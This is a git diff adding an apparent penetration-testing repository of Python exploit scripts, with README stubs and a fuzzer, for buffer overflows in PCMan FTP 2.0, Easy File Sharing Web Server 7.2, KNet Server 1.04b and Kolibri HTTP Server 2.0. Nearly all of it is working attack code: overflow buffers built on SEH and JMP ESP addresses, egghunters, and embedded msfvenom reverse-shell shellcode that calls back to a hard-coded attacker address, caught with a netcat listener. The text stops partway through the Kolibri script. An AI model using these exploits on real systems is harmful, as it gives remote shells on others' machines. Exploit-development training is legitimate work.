Remote</br>+Platform: Windows</br>diff --git a/Penetration Testing/exploits/windows/ftp/PCMan/exploit.py b/Penetration Testing/exploits/windows/ftp/PCMan/exploit.pynew file mode 100644index 0000000..05bb39f--- /dev/null+++ b/Penetration Testing/exploits/windows/ftp/PCMan/exploit.py@@ -0,0 +1,63 @@+#!/usr/bin/env python+'''+Vulnerable App: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z+'''+import sys+import socket+import struct+import subprocess++if len(sys.argv) < 2:+ print '[*] PCMan FTP version 2.0 exploit'+ print '[*] Usage: {} {}'.format(sys.argv[0], sys.argv[1])++# Windows XP SP3 Profesionnal x86+# JMP ESP 77FAB277 [SHLAPI.dll]+# Badchars \x00\x0a\x0d+# msfvenom -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.80.129 -b '\x00\x0a\x0d' -a x86 -f c EXITFUNC=process++shellcode = (+"\xd9\xe8\xb8\x2d\xec\x84\x1f\xd9\x74\x24\xf4\x5f\x33\xc9\xb1"+"\x52\x31\x47\x17\x83\xef\xfc\x03\x6a\xff\x66\xea\x88\x17\xe4"+"\x15\x70\xe8\x89\x9c\x95\xd9\x89\xfb\xde\x4a\x3a\x8f\xb2\x66"+"\xb1\xdd\x26\xfc\xb7\xc9\x49\xb5\x72\x2c\x64\x46\x2e\x0c\xe7"+"\xc4\x2d\x41\xc7\xf5\xfd\x94\x06\x31\xe3\x55\x5a\xea\x6f\xcb"+"\x4a\x9f\x3a\xd0\xe1\xd3\xab\x50\x16\xa3\xca\x71\x89\xbf\x94"+"\x51\x28\x13\xad\xdb\x32\x70\x88\x92\xc9\x42\x66\x25\x1b\x9b"+"\x87\x8a\x62\x13\x7a\xd2\xa3\x94\x65\xa1\xdd\xe6\x18\xb2\x1a"+"\x94\xc6\x37\xb8\x3e\x8c\xe0\x64\xbe\x41\x76\xef\xcc\x2e\xfc"+"\xb7\xd0\xb1\xd1\xcc\xed\x3a\xd4\x02\x64\x78\xf3\x86\x2c\xda"+"\x9a\x9f\x88\x8d\xa3\xff\x72\x71\x06\x74\x9e\x66\x3b\xd7\xf7"+"\x4b\x76\xe7\x07\xc4\x01\x94\x35\x4b\xba\x32\x76\x04\x64\xc5"+"\x79\x3f\xd0\x59\x84\xc0\x21\x70\x43\x94\x71\xea\x62\x95\x19"+"\xea\x8b\x40\x8d\xba\x23\x3b\x6e\x6a\x84\xeb\x06\x60\x0b\xd3"+"\x37\x8b\xc1\x7c\xdd\x76\x82\x42\x8a\x28\xd3\x2b\xc9\xc8\xa9"+"\xc2\x44\x2e\x27\x05\x01\xf9\xd0\xbc\x08\x71\x40\x40\x87\xfc"+"\x42\xca\x24\x01\x0c\x3b\x40\x11\xf9\xcb\x1f\x4b\xac\xd4\xb5"+"\xe3\x32\x46\x52\xf3\x3d\x7b\xcd\xa4\x6a\x4d\x04\x20\x87\xf4"+"\xbe\x56\x5a\x60\xf8\xd2\x81\x51\x07\xdb\x44\xed\x23\xcb\x90"+"\xee\x6f\xbf\x4c\xb9\x39\x69\x2b\x13\x88\xc3\xe5\xc8\x42\x83"+"\x70\x23\x55\xd5\x7c\x6e\x23\x39\xcc\xc7\x72\x46\xe1\x8f\x72"+"\x3f\x1f\x30\x7c\xea\x9b\x40\x37\xb6\x8a\xc8\x9e\x23\x8f\x94"+"\x20\x9e\xcc\xa0\xa2\x2a\xad\x56\xba\x5f\xa8\x13\x7c\x8c\xc0"+"\x0c\xe9\xb2\x77\x2c\x38")++buffer = ''+buffer += '\x41' * 2006+buffer += struct.pack('<L', 0x77fab277)+buffer += '\x90' * 16+buffer += shellcode++try:+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ s.connect((sys.argv[1], 21))++ s.recv(1024)+ s.send('{}\r\n'.format(buffer))+ s.close()++ subprocess.call(['nc -lnvp 31337'], shell=True)+except socket.error:+ print '[-] Host unreachable'+ sys.exit(1)+diff --git a/Penetration Testing/exploits/windows/ftp/PCMan/fuzzing.py b/Penetration Testing/exploits/windows/ftp/PCMan/fuzzing.pynew file mode 100644index 0000000..985e653--- /dev/null+++ b/Penetration Testing/exploits/windows/ftp/PCMan/fuzzing.py@@ -0,0 +1,28 @@+#!/usr/bin/env python+import socket+import sys++if len(sys.argv) < 2:+ print "[*] PCMan FTP fuzzer"+ print "[*] Usage: "+sys.argv[0]+" <ip addr>"+ sys.exit()++buffer = ["\x41"]+counter = 100+while len(buffer) <= 30:+ buffer.append("\x41" * counter)+ counter = counter + 200++try:+ for string in buffer:+ print "[*] Fuzzing Login command %s bytes" % len(string)+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ connect = s.connect((str(sys.argv[1]), 21))++ s.recv(1024)+ s.send('{}\r\n'.format(string))+ s.recv(1024)+ s.send('QUIT\r\n')+ s.close()+except socket.error:+ print "[-] Crash with {} bytes".format(len(string))diff --git a/Penetration Testing/exploits/windows/http/Easy-FileSharing-7.2/README.md b/Penetration Testing/exploits/windows/http/Easy-FileSharing-7.2/README.mdnew file mode 100644index 0000000..c496ade--- /dev/null+++ b/Penetration Testing/exploits/windows/http/Easy-FileSharing-7.2/README.md@@ -0,0 +1,20 @@+Easy File Sharing Web Server v7.2 SEH Stack Buffer Overflow+===========================================================++Author: Amonsec</br>+Published: Jun 19 2017</br>+CVE: NaN</br>+Type: Remote</br>+Platform: Windows</br>+++Easy File Sharing Web Server v7.2 SEH Stack Buffer Overflow (egghunter)+=======================================================================++Author: Amonsec</br>+Published: Jun 26 2017</br>+CVE: NaN</br>+Type: Remote</br>+Platform: Windows</br>++diff --git a/Penetration Testing/exploits/windows/http/Easy-FileSharing-7.2/exploit-egghunter.py b/Penetration Testing/exploits/windows/http/Easy-FileSharing-7.2/exploit-egghunter.pynew file mode 100644index 0000000..c300d75--- /dev/null+++ b/Penetration Testing/exploits/windows/http/Easy-FileSharing-7.2/exploit-egghunter.py@@ -0,0 +1,127 @@+#!/usr/bin/env python+import sys+import socket+import struct+import subprocess++#----------------------------------------------------------------------------------#+# Exploit: Easy File Sharing Web Server 7.2 SEH Buffer Overflow (egghunter) #+# OS Tested: XP PRO SP3 (Professional); Windows 7 SP1 #+# Author: Amonsec #+# Software: https://www.exploit-db.com/apps/ #+# 60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe #+#----------------------------------------------------------------------------------#+# Gratz: #+# Corelan (https://www.corelan.be/) #+# b33f (https://www.fuzzysecurity.com/) #+# Ch3rn0byl (http://ch3rn0byl.com/) #+#----------------------------------------------------------------------------------#+if len(sys.argv) < 3:+ print '[*] Easy File Sharing v7.2 exploit'+ print '[*] Usage: {} <ip addr> <port>'.format(sys.argv[0])+ sys.exit(1)+else:+ rhost = sys.argv[1]+ rport = int(sys.argv[2])++#-------------------------------------------------------------------------------------------------------------------------------------------------------------#+# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -a x86 -n 20 -f python -v shellcode -b '\x00\x20\x25\x2b\x2f\x5c' #+#-------------------------------------------------------------------------------------------------------------------------------------------------------------#+shellcode = ""+shellcode += "\x4a\x41\x41\x93\xfd\x91\x99\x41\x3f\xf5\xd6\xd6"+shellcode += "\x37\x90\x49\x90\x9b\xf9\x27\x98\xbf\x83\xd1\x55"+shellcode += "\xd1\xd9\xcd\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x52"+shellcode += "\x31\x78\x12\x83\xe8\xfc\x03\xfb\xdf\xb7\x24\x07"+shellcode += "\x37\xb5\xc7\xf7\xc8\xda\x4e\x12\xf9\xda\x35\x57"+shellcode += "\xaa\xea\x3e\x35\x47\x80\x13\xad\xdc\xe4\xbb\xc2"+shellcode += "\x55\x42\x9a\xed\x66\xff\xde\x6c\xe5\x02\x33\x4e"+shellcode += "\xd4\xcc\x46\x8f\x11\x30\xaa\xdd\xca\x3e\x19\xf1"+shellcode += "\x7f\x0a\xa2\x7a\x33\x9a\xa2\x9f\x84\x9d\x83\x0e"+shellcode += "\x9e\xc7\x03\xb1\x73\x7c\x0a\xa9\x90\xb9\xc4\x42"+shellcode += "\x62\x35\xd7\x82\xba\xb6\x74\xeb\x72\x45\x84\x2c"+shellcode += "\xb4\xb6\xf3\x44\xc6\x4b\x04\x93\xb4\x97\x81\x07"+shellcode += "\x1e\x53\x31\xe3\x9e\xb0\xa4\x60\xac\x7d\xa2\x2e"+shellcode += "\xb1\x80\x67\x45\xcd\x09\x86\x89\x47\x49\xad\x0d"+shellcode += "\x03\x09\xcc\x14\xe9\xfc\xf1\x46\x52\xa0\x57\x0d"+shellcode += "\x7f\xb5\xe5\x4c\xe8\x7a\xc4\x6e\xe8\x14\x5f\x1d"+shellcode += "\xda\xbb\xcb\x89\x56\x33\xd2\x4e\x98\x6e\xa2\xc0"+shellcode += "\x67\x91\xd3\xc9\xa3\xc5\x83\x61\x05\x66\x48\x71"+shellcode += "\xaa\xb3\xdf\x21\x04\x6c\xa0\x91\xe4\xdc\x48\xfb"+shellcode += "\xea\x03\x68\x04\x21\x2c\x03\xff\xa2\x93\x7c\xa1"+shellcode += "\xb2\x7c\x7f\x5d\xc9\x15\xf6\xbb\x47\xf6\x5e\x14"+shellcode += "\xf0\x6f\xfb\xee\x61\x6f\xd1\x8b\xa2\xfb\xd6\x6c"+shellcode += "\x6c\x0c\x92\x7e\x19\xfc\xe9\xdc\x8c\x03\xc4\x48"+shellcode += "\x52\x91\x83\x88\x1d\x8a\x1b\xdf\x4a\x7c\x52\xb5"+shellcode += "\x66\x27\xcc\xab\x7a\xb1\x37\x6f\xa1\x02\xb9\x6e"+shellcode += "\x24\x3e\x9d\x60\xf0\xbf\x99\xd4\xac\xe9\x77\x82"+shellcode += "\x0a\x40\x36\x7c\xc5\x3f\x90\xe8\x90\x73\x23\x6e"+shellcode += "\x9d\x59\xd5\x8e\x2c\x34\xa0\xb1\x81\xd0\x24\xca"+shellcode += "\xff\x40\xca\x01\x44\x70\x81\x0b\xed\x19\x4c\xde"+shellcode += "\xaf\x47\x6f\x35\xf3\x71\xec\xbf\x8c\x85\xec\xca"+shellcode += "\x89\xc2\xaa\x27\xe0\x5b\x5f\x47\x57\x5b\x4a"++#--------------------------------------------------------------------------------------------------------#+# (*) Badchars = '\x00\x20\x25\x2b\x2f\x5c' #+# #+# (*) Crash to nseh 4061-bytes #+# (*) shellcode space = 2000 #+#--------------------------------------------------------------------------------------------------------#+# (0) 2000 'A' character #+# (1) Marker 'hivehive' #+# (2) 20 NOPs + shellcode #+# (3) 1641 NOPs #+# (4) Egghunter; marker 'hive' #+# (5) 16 NOPs #+# (6) nseh = '\xeb\x06\x90\x90' #+# (7) seh = '\x1e\x40\x20\x12' pop pop ret | [ImageLoad.dll] #+# (8) JMP SHORT -60 => \xeb\xc4 #+# (9) 1429 NOPs #+#--------------------------------------------------------------------------------------------------------#+# Exploit Structure: #+# #+# +----------------> #+# [AA..AA] [NOPs + shellcode] [NOPs] [egghunter] [NOPs] [nseh] [seh] [\xeb\xc4] [NOPs] #+# +----------------------------------------------------------------> | | #+# ^ ^ | <--------+ | #+# | |-------|------------------------------------+ #+# +---------------------------------+ #+# #+#--------------------------------------------------------------------------------------------------------#+egghunter = ''+egghunter += '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c'+egghunter += '\x05\x5a\x74\xef\xb8\x68\x69\x76\x65\x8b\xfa\xaf\x75'+egghunter += '\xea\xaf\x75\xe7\xff\xe7'++buffer = ''+buffer += '\x41' * 2000+buffer += 'hivehive'+buffer += '\x90' * 20+buffer += shellcode+buffer += '\x90' * (4013 - 2000 - 8 -20 - len(shellcode))+buffer += egghunter+buffer += '\x90' * 16+buffer += struct.pack('<L', 0x909006eb)+buffer += struct.pack('<L', 0x100194b2)+buffer += '\xeb\xc4'+buffer += '\x90' * (5500 - 4061 - 8 - 2)++payload = 'GET {} HTTP/1.0\r\n\r\n'.format(buffer)++try:+ print '[*] Easy File Sharing Web Server 7.2 SEH Buffer Overflow (egghunter)'+ print '[*] Target: {}:{}'.format(rhost, rport)++ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ s.connect((rhost, rport))+ print '[*] Connection established'++ print '[*] Send exploit: {} bytes'.format(len(buffer))+ s.send(payload)+ s.close++ print "\n[*] Brrrrrraaaaah! Time for a shell?! huhg"+ subprocess.call(['nc -lnvvp 31337'], shell=True)++except:+ print "[-] Host unreachable"+ sys.exit(1)diff --git a/Penetration Testing/exploits/windows/http/Easy-FileSharing-7.2/exploit.py b/Penetration Testing/exploits/windows/http/Easy-FileSharing-7.2/exploit.pynew file mode 100644index 0000000..2ef43ab--- /dev/null+++ b/Penetration Testing/exploits/windows/http/Easy-FileSharing-7.2/exploit.py@@ -0,0 +1,70 @@+#!/usr/bin/env python+import sys+import socket+import struct+import subprocess++if len(sys.argv) < 2:+ print '[*] Easy File Sharing v7.2 exploit'+ print '[*] Usage: {} <ip addr>'.format(sys.argv[0])+ sys.exit(1)++# Windows XP SP3 Professional+# 0x100194b2 pop pop ret [ImageLoad.dll]+# Badchars \x00\x20\x25\x2b\x2f\x5c+# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 \+# LHOST=192.168.94.128 -a x86 -n 20 -f python -v shellcode -b '\x00\x20\x25\x2b\x2f\x5c'++shellcode = ""+shellcode += "\x4a\x41\x41\x93\xfd\x91\x99\x41\x3f\xf5\xd6\xd6"+shellcode += "\x37\x90\x49\x90\x9b\xf9\x27\x98\xbf\x83\xd1\x55"+shellcode += "\xd1\xd9\xcd\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x52"+shellcode += "\x31\x78\x12\x83\xe8\xfc\x03\xfb\xdf\xb7\x24\x07"+shellcode += "\x37\xb5\xc7\xf7\xc8\xda\x4e\x12\xf9\xda\x35\x57"+shellcode += "\xaa\xea\x3e\x35\x47\x80\x13\xad\xdc\xe4\xbb\xc2"+shellcode += "\x55\x42\x9a\xed\x66\xff\xde\x6c\xe5\x02\x33\x4e"+shellcode += "\xd4\xcc\x46\x8f\x11\x30\xaa\xdd\xca\x3e\x19\xf1"+shellcode += "\x7f\x0a\xa2\x7a\x33\x9a\xa2\x9f\x84\x9d\x83\x0e"+shellcode += "\x9e\xc7\x03\xb1\x73\x7c\x0a\xa9\x90\xb9\xc4\x42"+shellcode += "\x62\x35\xd7\x82\xba\xb6\x74\xeb\x72\x45\x84\x2c"+shellcode += "\xb4\xb6\xf3\x44\xc6\x4b\x04\x93\xb4\x97\x81\x07"+shellcode += "\x1e\x53\x31\xe3\x9e\xb0\xa4\x60\xac\x7d\xa2\x2e"+shellcode += "\xb1\x80\x67\x45\xcd\x09\x86\x89\x47\x49\xad\x0d"+shellcode += "\x03\x09\xcc\x14\xe9\xfc\xf1\x46\x52\xa0\x57\x0d"+shellcode += "\x7f\xb5\xe5\x4c\xe8\x7a\xc4\x6e\xe8\x14\x5f\x1d"+shellcode += "\xda\xbb\xcb\x89\x56\x33\xd2\x4e\x98\x6e\xa2\xc0"+shellcode += "\x67\x91\xd3\xc9\xa3\xc5\x83\x61\x05\x66\x48\x71"+shellcode += "\xaa\xb3\xdf\x21\x04\x6c\xa0\x91\xe4\xdc\x48\xfb"+shellcode += "\xea\x03\x68\x04\x21\x2c\x03\xff\xa2\x93\x7c\xa1"+shellcode += "\xb2\x7c\x7f\x5d\xc9\x15\xf6\xbb\x47\xf6\x5e\x14"+shellcode += "\xf0\x6f\xfb\xee\x61\x6f\xd1\x8b\xa2\xfb\xd6\x6c"+shellcode += "\x6c\x0c\x92\x7e\x19\xfc\xe9\xdc\x8c\x03\xc4\x48"+shellcode += "\x52\x91\x83\x88\x1d\x8a\x1b\xdf\x4a\x7c\x52\xb5"+shellcode += "\x66\x27\xcc\xab\x7a\xb1\x37\x6f\xa1\x02\xb9\x6e"+shellcode += "\x24\x3e\x9d\x60\xf0\xbf\x99\xd4\xac\xe9\x77\x82"+shellcode += "\x0a\x40\x36\x7c\xc5\x3f\x90\xe8\x90\x73\x23\x6e"+shellcode += "\x9d\x59\xd5\x8e\x2c\x34\xa0\xb1\x81\xd0\x24\xca"+shellcode += "\xff\x40\xca\x01\x44\x70\x81\x0b\xed\x19\x4c\xde"+shellcode += "\xaf\x47\x6f\x35\xf3\x71\xec\xbf\x8c\x85\xec\xca"+shellcode += "\x89\xc2\xaa\x27\xe0\x5b\x5f\x47\x57\x5b\x4a"++buffer = ''+buffer += '\x41' * 4061+buffer += '\xeb\x06\x90\x90' # Next SEH+buffer += '\xb2\x94\x01\x10' # SEH+buffer += '\x44' * (5500 - 4061 - 8 - 16 - len(shellcode))+buffer += shellcode+payload = 'GET {} HTTP/1.0\r\n\r\n'.format(buffer)++try:+ print '[*] Send {} bytes'.format(len(buffer))+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ s.connect((sys.argv[1], 80))+ s.send(payload)+ s.close+except:+ print "[-] Host unreachable"+ sys.exit(1)+finally:+ print "[*] Brrrrrraaaaah! Time for a shell?"+ subprocess.call(['nc -lnvvp 31337'], shell=True)diff --git a/Penetration Testing/exploits/windows/http/HP-OpenView-NNM-7.5.1/README.md b/Penetration Testing/exploits/windows/http/HP-OpenView-NNM-7.5.1/README.mdnew file mode 100644index 0000000..d9067a8--- /dev/null+++ b/Penetration Testing/exploits/windows/http/HP-OpenView-NNM-7.5.1/README.md@@ -0,0 +1,11 @@+HP NNM 7.5.1 - 'OVAS.exe' Unauthenticated Overflow (SEH)+===========================================================++Original author: muts</br>+Author: Amonsec</br>+Published: Sep 17 2017</br>+CVE: CVE-2008-1697</br>+Type: Remote</br>+Platform: Windows</br>++diff --git a/Penetration Testing/exploits/windows/http/KNetServer-1.04b/README.md b/Penetration Testing/exploits/windows/http/KNetServer-1.04b/README.mdnew file mode 100644index 0000000..e382223--- /dev/null+++ b/Penetration Testing/exploits/windows/http/KNetServer-1.04b/README.md@@ -0,0 +1,9 @@+KNet Server 1.04b - SEH Stack Buffer Overflow + egghunter+==========================================================++Original Author: Myo Soe</br>+Author: Amonsec</br>+Published: Sep 25 2017</br>+CVE: CVE-2005-0575 </br>+Type: Remote</br>+Platform: Windows</br>diff --git a/Penetration Testing/exploits/windows/http/KNetServer-1.04b/exploit.py b/Penetration Testing/exploits/windows/http/KNetServer-1.04b/exploit.pynew file mode 100644index 0000000..f7bbd26--- /dev/null+++ b/Penetration Testing/exploits/windows/http/KNetServer-1.04b/exploit.py@@ -0,0 +1,123 @@+#!/usr/bin/env python+import sys+import struct+import socket+import subprocess++'''+Colors & lambda+'''+__author__ = 'Amonsec'+__version__ = '1.0'++_RED = '\x1b[1;31m'+_BLU = '\x1b[1;34m'+_GRE = '\x1b[1;32m'+_RST = '\x1b[0;0;0m'++successMessage = lambda x: '{}[+]{} {}'.format(_GRE, _RST, x)+errorMessage = lambda x: '{}[-]{} {}'.format(_RED, _RST, x)+infoMessage = lambda x: '{}[*]{} {}'.format(_BLU, _RST, x)+++'''+Checking Arguments+'''+if len(sys.argv) < 2:+ print errorMessage('Usage: {} <rhost> <rport>'.format(sys.argv[0]))+ sys.exit(1)+else:+ rhost = sys.argv[1]+ rport = int(sys.argv[2])++'''+!mona findmsp+[+] Examining SEH chain+ SEH record (nseh field) at 0x0012ffc4 overwritten with normal pattern : 0x32704231 (offset 1235), followed by 52 bytes of cyclic data after the handler++Bachars: \x00++0x6c242427 : pop edi # pop esi # ret 0x04 |+asciiprint,ascii {PAGE_EXECUTE_READ} [CRTDLL.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v4.00 (C:\Windows\system32\CRTDLL.dll)++Shellcode:+msfvenom --platform windows EXITFUNC=thread LPORT=1337 LHOST=192.168.1.39 \+-p windows/shell_reverse_tcp -a x86 -f python -v shellcode -b '\x00'+'''+shellcode = ""+shellcode += "\xdb\xd7\xba\xa0\x74\x0d\x71\xd9\x74\x24\xf4\x58"+shellcode += "\x29\xc9\xb1\x52\x83\xe8\xfc\x31\x50\x13\x03\xf0"+shellcode += "\x67\xef\x84\x0c\x6f\x6d\x66\xec\x70\x12\xee\x09"+shellcode += "\x41\x12\x94\x5a\xf2\xa2\xde\x0e\xff\x49\xb2\xba"+shellcode += "\x74\x3f\x1b\xcd\x3d\x8a\x7d\xe0\xbe\xa7\xbe\x63"+shellcode += "\x3d\xba\x92\x43\x7c\x75\xe7\x82\xb9\x68\x0a\xd6"+shellcode += "\x12\xe6\xb9\xc6\x17\xb2\x01\x6d\x6b\x52\x02\x92"+shellcode += "\x3c\x55\x23\x05\x36\x0c\xe3\xa4\x9b\x24\xaa\xbe"+shellcode += "\xf8\x01\x64\x35\xca\xfe\x77\x9f\x02\xfe\xd4\xde"+shellcode += "\xaa\x0d\x24\x27\x0c\xee\x53\x51\x6e\x93\x63\xa6"+shellcode += "\x0c\x4f\xe1\x3c\xb6\x04\x51\x98\x46\xc8\x04\x6b"+shellcode += "\x44\xa5\x43\x33\x49\x38\x87\x48\x75\xb1\x26\x9e"+shellcode += "\xff\x81\x0c\x3a\x5b\x51\x2c\x1b\x01\x34\x51\x7b"+shellcode += "\xea\xe9\xf7\xf0\x07\xfd\x85\x5b\x40\x32\xa4\x63"+shellcode += "\x90\x5c\xbf\x10\xa2\xc3\x6b\xbe\x8e\x8c\xb5\x39"+shellcode += "\xf0\xa6\x02\xd5\x0f\x49\x73\xfc\xcb\x1d\x23\x96"+shellcode += "\xfa\x1d\xa8\x66\x02\xc8\x7f\x36\xac\xa3\x3f\xe6"+shellcode += "\x0c\x14\xa8\xec\x82\x4b\xc8\x0f\x49\xe4\x63\xea"+shellcode += "\x1a\xcb\xdc\xf5\xfd\xa3\x1e\xf5\x04\x0d\x96\x13"+shellcode += "\x6c\x7d\xfe\x8c\x19\xe4\x5b\x46\xbb\xe9\x71\x23"+shellcode += "\xfb\x62\x76\xd4\xb2\x82\xf3\xc6\x23\x63\x4e\xb4"+shellcode += "\xe2\x7c\x64\xd0\x69\xee\xe3\x20\xe7\x13\xbc\x77"+shellcode += "\xa0\xe2\xb5\x1d\x5c\x5c\x6c\x03\x9d\x38\x57\x87"+shellcode += "\x7a\xf9\x56\x06\x0e\x45\x7d\x18\xd6\x46\x39\x4c"+shellcode += "\x86\x10\x97\x3a\x60\xcb\x59\x94\x3a\xa0\x33\x70"+shellcode += "\xba\x8a\x83\x06\xc3\xc6\x75\xe6\x72\xbf\xc3\x19"+shellcode += "\xba\x57\xc4\x62\xa6\xc7\x2b\xb9\x62\xe7\xc9\x6b"+shellcode += "\x9f\x80\x57\xfe\x22\xcd\x67\xd5\x61\xe8\xeb\xdf"+shellcode += "\x19\x0f\xf3\xaa\x1c\x4b\xb3\x47\x6d\xc4\x56\x67"+shellcode += "\xc2\xe5\x72"++egghunter = ''+egghunter += '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58'+egghunter += '\xcd\x2e\x3c\x05\x5a\x74\xef\xb8'+egghunter += '\x41\x6d\x6f\x6e'+egghunter += '\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7'++exploit = ''+exploit += '\x41' * 1235+exploit += struct.pack('<L', 0x06eb9090) # next SEH+exploit += struct.pack('<L', 0x6c242427) # SEH+exploit += '\x41' * 8+exploit += egghunter+exploit += '\x41' * (2000 - 1235 - 8 - 8 -len(egghunter))++stage = ''+stage += 'AmonAmon'+stage += shellcode++header = ''+header += 'GET {} HTTP/1.0\r\n'.format(exploit)+header += 'Host: 192.168.1.38\r\n'+header += 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n'+header += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'+header += 'Accept-Language: en-US,en;q=0.5\r\n'+header += 'Connection: close\r\n'+header += 'Upgrade-Insecure-Requests: 1\r\n'+header += '{}\r\n\r\n'.format(stage)++print infoMessage('KNet v1.04b Buffer Overflow exploit (SEH) + egghunter')+print infoMessage('Author: {}Amonsec{}'.format(_RED, _RST))+print ''+print errorMessage('This is not a reliable exploit, beceause the')+print errorMessage('POP POP RET address is inside an OS DLL.')++try:+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ s.connect((rhost, rport))+ s.send(header)+ print successMessage('Evil HTTP request successfully sent!')++ print infoMessage('Egghunter search your egg...')+ subprocess.call(['nc -lnvvp 1337'], shell=True)+except socket.error as error:+ print 'Error: \n{}\n'.format(str(error))+ sys.exit(1)diff --git a/Penetration Testing/exploits/windows/http/Kolibri-HTTPServer-2.0/README.md b/Penetration Testing/exploits/windows/http/Kolibri-HTTPServer-2.0/README.mdnew file mode 100644index 0000000..9451e54--- /dev/null+++ b/Penetration Testing/exploits/windows/http/Kolibri-HTTPServer-2.0/README.md@@ -0,0 +1,8 @@+Kolibri v2.0 HTTP Server HEAD Buffer Overflow (egghunter)+=========================================================++Author: Amonsec</br>+Published: Jun 26 2017</br>+CVE: NaN</br>+Type: Remote</br>+Platform: Windows</br>diff --git a/Penetration Testing/exploits/windows/http/Kolibri-HTTPServer-2.0/exploit.py b/Penetration Testing/exploits/windows/http/Kolibri-HTTPServer-2.0/exploit.pynew file mode 100644index 0000000..c5a8f6e--- /dev/null+++ b/Penetration Testing/exploits/windows/http/Kolibri-HTTPServer-2.0/exploit.py@@ -0,0 +1,111 @@+#!/usr/bin/env python+import sys+import socket+import struct+import subprocess++#-------------------------------------------------------------------------------#+# Exploit: Kolibri v2.0 HTTP Server HEAD Buffer Overflow (egghunter) #+# OS Tested: XP PRO SP3 (Professional) #+# Author: Amonsec #+# Software: https://www.exploit-db.com/apps/ #+# 4d4e15b98e105facf94e4fd6a1f9eb78-Kolibri-2.0-win.zip #+#-------------------------------------------------------------------------------#++if len(sys.argv) < 3:+ print '[*] Kolibri HTTP Server 2.0 exploit'+ print '[*] Usage: {} <ip addr> <port>'.format(sys.argv[0])+ sys.exit(1)+else:+ rhost = sys.argv[1]+ rport = int(sys.argv[2])++#--------------------------------------------------------------------------------------------------------------------------------------------------------#+# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -b '\x00\x0d\x0a\x3d\x20\x3f' -a x86 -f python -v shellcode #+#--------------------------------------------------------------------------------------------------------------------------------------------------------#+shellcode = ""+shellcode += "\xd9\xe9\xd9\x74\x24\xf4\x5d\x33\xc9\xb8\x5c\xd6"+shellcode += "\xb4\xc9\xb1\x52\x31\x45\x17\x03\x45\x17\x83\x99"+shellcode += "\xd2\x56\x3c\xdd\x33\x14\xbf\x1d\xc4\x79\x49\xf8"+shellcode += "\xf5\xb9\x2d\x89\xa6\x09\x25\xdf\x4a\xe1\x6b\xcb"+shellcode += "\xd9\x87\xa3\xfc\x6a\x2d\x92\x33\x6a\x1e\xe6\x52"+shellcode += "\xe8\x5d\x3b\xb4\xd1\xad\x4e\xb5\x16\xd3\xa3\xe7"+shellcode += "\xcf\x9f\x16\x17\x7b\xd5\xaa\x9c\x37\xfb\xaa\x41"+shellcode += "\x8f\xfa\x9b\xd4\x9b\xa4\x3b\xd7\x48\xdd\x75\xcf"+shellcode += "\x8d\xd8\xcc\x64\x65\x96\xce\xac\xb7\x57\x7c\x91"+shellcode += "\x77\xaa\x7c\xd6\xb0\x55\x0b\x2e\xc3\xe8\x0c\xf5"+shellcode += "\xb9\x36\x98\xed\x1a\xbc\x3a\xc9\x9b\x11\xdc\x9a"+shellcode += "\x90\xde\xaa\xc4\xb4\xe1\x7f\x7f\xc0\x6a\x7e\xaf"+shellcode += "\x40\x28\xa5\x6b\x08\xea\xc4\x2a\xf4\x5d\xf8\x2c"+shellcode += "\x57\x01\x5c\x27\x7a\x56\xed\x6a\x13\x9b\xdc\x94"+shellcode += "\xe3\xb3\x57\xe7\xd1\x1c\xcc\x6f\x5a\xd4\xca\x68"+shellcode += "\x9d\xcf\xab\xe6\x60\xf0\xcb\x2f\xa7\xa4\x9b\x47"+shellcode += "\x0e\xc5\x77\x97\xaf\x10\xd7\xc7\x1f\xcb\x98\xb7"+shellcode += "\xdf\xbb\x70\xdd\xef\xe4\x61\xde\x25\x8d\x08\x25"+shellcode += "\xae\x72\x64\x7b\xae\x1b\x77\x83\xd4\xb2\xfe\x65"+shellcode += "\x42\x55\x57\x3e\xfb\xcc\xf2\xb4\x9a\x11\x29\xb1"+shellcode += "\x9d\x9a\xde\x46\x53\x6b\xaa\x54\x04\x9b\xe1\x06"+shellcode += "\x83\xa4\xdf\x2e\x4f\x36\x84\xae\x06\x2b\x13\xf9"+shellcode += "\x4f\x9d\x6a\x6f\x62\x84\xc4\x8d\x7f\x50\x2e\x15"+shellcode += "\xa4\xa1\xb1\x94\x29\x9d\x95\x86\xf7\x1e\x92\xf2"+shellcode += "\xa7\x48\x4c\xac\x01\x23\x3e\x06\xd8\x98\xe8\xce"+shellcode += "\x9d\xd2\x2a\x88\xa1\x3e\xdd\x74\x13\x97\x98\x8b"+shellcode += "\x9c\x7f\x2d\xf4\xc0\x1f\xd2\x2f\x41\x2f\x99\x6d"+shellcode += "\xe0\xb8\x44\xe4\xb0\xa4\x76\xd3\xf7\xd0\xf4\xd1"+shellcode += "\x87\x26\xe4\x90\x82\x63\xa2\x49\xff\xfc\x47\x6d"+shellcode += "\xac\xfd\x4d"++#-------------------------------------------------------------------------------#+# (*) Badchars: '\x00\x0d\x0a\x3d\x20\x3f' #+# #+# Stage1: #+# (1) Crash to EIP 515 #+# (2) EIP: 0x7c8369c0 call esp [kernel32.dll] #+# (3) ESP: JMP SHORT -60 => \xEB\xC4 #+# (4) Egghunter; marker "hive" #+# #+# Stage2: #+# (5) Marker "hivehive" #+# (6) Nops + shellcode #+#-------------------------------------------------------------------------------#+egghunter = ''+egghunter += 